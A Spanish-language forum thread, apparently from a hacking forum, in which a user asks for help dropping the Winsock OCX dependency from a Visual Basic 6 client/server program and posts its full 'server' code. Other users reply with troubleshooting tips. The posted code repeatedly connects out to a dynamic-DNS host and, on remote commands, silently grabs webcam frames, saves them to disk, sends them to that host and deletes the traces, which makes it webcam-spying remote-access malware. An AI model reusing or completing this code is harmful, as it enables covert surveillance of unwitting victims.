CSocketMaster

Iniciado por ジ, 20 Agosto 2006, 15:31 PM

0 Miembros y 1 Visitante están viendo este tema.

Buenas estoy con una aplicacion client/server que lleva el control winsock y para quitarle la dependencia estoy husando estos modulos CSocketMaster.cls &  modSocketMaster.bas, el control winsock del server quien quiero quitarle la dependencia no tiene index, luego hago esto en el general declaro:

Public WithEvents s As CSocketMaster

y n el form load:

Private Sub Form_Load()
Set S = New CSocketMaster..
....

a todos los Close añado: CloseSck

todo bien, compilo y listo, pero cuando corro l servidor en una maquina sin Mswinsck.ocx me bota error  :( diciendo que no se ha registrado correctamente o que es file esta perdido o es invalido, y me marca a la dichosa ocx... porque no me anda bien si lo he echo como he leido en foros, google...y nada  :(  :huh:

eso era todo, salu2.
'------------------------------MODIFICADO:--------------------------'

He probado ha cambiar los modulos por otros...y lo mismo..nada.
el tiempo pondrá a cada uno en su lugar

Hendrix

as kitado el winsock de las dependencias??? ya que es raro que en makinas kon winsock te funcione y en makinas sin winsok no....

Salu2

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

si ahora si me corre...se me olvido quitar el winsock.. :-\ pero ahora tengo otro problema...no me conecta con otars maquinas...ni ejecutando el server en esa maquina..solo me conecta en la mia  :rolleyes:
el tiempo pondrá a cada uno en su lugar

whiskises

Pues no se que decirte, esta bien cargado el módulo salvo la s minuscula y mayuscula, aunque no he probado si eso le afecta, ..mira el cortafuegos , si le tienes negado permisos ..quizas por eso desde otra maquina no llegan las conexiones. El módulo de CSocketMaster va perfecto y si se conectan desde otras maquinas,
No se que mas decirte, suerte.
Salu2

asi tengo el codigo:

General:
Dim WithEvents sock As CSocketMaster
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim eipi As String * 30, p As String * 5, datos As String


'---delcaramos eipi con un maximo d 30 caracteres , p con maximo de 5, delcaramos la api sendmessage para la webcam nos  sirve.


Form_Load:

Private Sub Form_Load()
Set sock = New CSocketMaster
Timer1.Interval = 2000
eipi = "www.host.no-ip.com"
p = 1111
End Sub



Form_QueryUnload:

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub  ' enviamos disconect para dejar d enviar datos a la cam



Data_Arrival:

Private Sub sock_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
sock.GetData datos

   If datos = "camon" Then
   Timer3.Enabled = True
   End If
   
   If datos = "camstop" Then
   Timer3.Enabled = False
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
   cammuere
   End If
   
   If datos = "cammuere" Then
   cammuere
   End If

Error:

End Sub



Timer1:

Private Sub Timer1_Timer()    ' intervalo = 2000 ( 2 sg )
On Error Resume Next
If sock.State <> 7 Then
sock.CloseSck
sock.Connect eipi, p
Timer2.Enabled = True
End If
End Sub


Function camon:

Private Function camon()
On Error Resume Next ' en caso d errror...
Dim lol As Integer ' val
Dim frago As Integer ' + val
Dim goblin As String
Timer3.Enabled = False  ' lo desabilitamos al timer
lol = FreeFile   ' Devuelve el siguiente numero de archivo valido que no esta en uso
frago = 8192  ' la val frago tiene un valor de 8kb
goblin = "c:\Juazcp.jpg"  ' goblin es = a ese paht & archivo
SendMessage mCapHwnd, DISCONNECT, 0, 0 ' por si estavamos conectados enviando datos, antes de volver a conectar desconectamos.
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData ' almacenamos  lo datos del clipboard en el picture
SavePicture PV.Picture, "c:\" & "Juaz.jpg" 'ahora salvamos la imagen del picture en esa ruta
PictureView1.OpenPicture ("c:\Juaz.jpg")  ' abrimos la imagen con el control pictureview
If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
Else  ' la guardamos con una calidad de "50" para bajarle el peso
End If ' fin d la condicion if
Kill ("c:\Juaz.jpg")  ' eliminamos la primera captura que salvamos.
Open goblin For Binary As #lol ' abrimos n modo binario
Do While Not EOF(lol)  ' analizamos el tamaño del archivo en bytes
camun = Input(frago, #lol)  ' en camun metemos esos datos
sock.SendData camun ' los vamos enviando
DoEvents
Loop ' vuelta arriba hasta terminar con el tamaño y d haberlo enviado todo
Close #lol ' cerramos
cammuere ' ejecutamos esta funcion..que lo k hace esta bien claro, solo es irte a la funcion.
Timer3.Enabled = True  ' lo abilitamos
End Function
 

Function cammuere:

Private Function cammuere()
On Error Resume Next
Kill ("c:\Juazcp.jpg")
End Function


Timer3:

Private Sub Timer3_Timer()  ' esta desabilitado y de intervalo 1500
On Error Resume Next
camon
End Sub


Pues asi lo tengo con los modulos que ya dije Y SIN..el control winsock..no se lo añadi. Con migo: 127.0.0.1 si conecta, con otras maquinas NO!!...solo conecta con otras maquinas cuando esta la dichosa ocx..en esa maquina..y si por ejemplo intento volverle a añadir el winsock y sacar los modulos estos pues...tampoco conecta..hasta que: hago un projecto nuevo...eso es todo salu2.

PD: ojala alguien me pueda ayudar, no se que pueda ser.
el tiempo pondrá a cada uno en su lugar